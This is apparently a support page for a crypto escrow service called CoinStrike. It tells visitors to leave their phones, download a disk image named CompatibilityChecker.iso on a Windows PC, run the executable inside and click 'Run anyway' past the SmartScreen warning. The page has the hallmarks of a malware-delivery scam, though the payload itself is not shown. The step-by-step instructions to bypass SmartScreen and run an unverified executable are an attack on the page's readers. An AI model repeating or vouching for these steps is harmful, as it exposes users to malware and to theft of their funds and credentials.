CoinStrike

Support Center

Help with verification, browser compatibility, and escrow redemption.

Contact Support

Our team typically responds within 2 hours.

Email: support@coinstrike.cash

Include your redemption code (if any), the error message you saw, and whether you are on mobile or a Windows PC.

Important: Mobile Users

Device compatibility notice

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If you are receiving errors on a mobile phone or tablet (iPhone, Android, iPad), please switch to a Windows PC (desktop or laptop) and try again. Full verification and the compatibility checker require a Windows computer with a modern browser such as Chrome, Edge, or Firefox.

Browser Compatibility Checker

Use this tool if verification fails on a Windows PC.

Download the disk image below, open it on your Windows computer, and run the program inside. Send the results to support@coinstrike.cash so we can help.

Download CompatibilityChecker.iso

Step-By-Step Instructions (Windows)

  1. Download the file. Click the orange button above. Save CompatibilityChecker.iso to your computer (for example, the Downloads folder).
  2. Open the .iso file. In File Explorer, go to the folder where you saved it. Double-click CompatibilityChecker.iso. Windows will open it like a virtual disc (a new drive letter may appear under “This PC”).
  3. If Windows asks how to open it: Choose File Explorer or Windows Explorer. On older Windows versions you may need to right-click the .iso → Mount.
  4. Run the program. Inside the opened disc window, find the .exe file (for example CompatibilityChecker.exe). Double-click the .exe to start it.
  5. If Windows SmartScreen appears: Click More info, then Run anyway (the checker is provided by CoinStrike support for diagnosis).
  6. Follow on-screen steps until the check finishes. Note any error codes or copy the result summary.
  7. Email support. Send the results to support@coinstrike.cash with your redemption code and a short description of the problem.
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What is an .iso? An ISO is a disc image file. Opening (mounting) it shows the files inside without needing a real DVD. You do not need to burn it to a disc.

Common Questions

Quick answers while you wait for email support

Where do I redeem a transfer?
Go to the home page and tap Redeem Transfer. Enter the wallet address and 8-character code from the sender.

When do I get a TXID?
A blockchain transaction ID (TXID) is created only after the recipient successfully completes verification and the escrow releases funds.

Verification failed (Error 2A)
Try again on a Windows PC with good lighting. If it still fails, run the compatibility checker above and email us the results.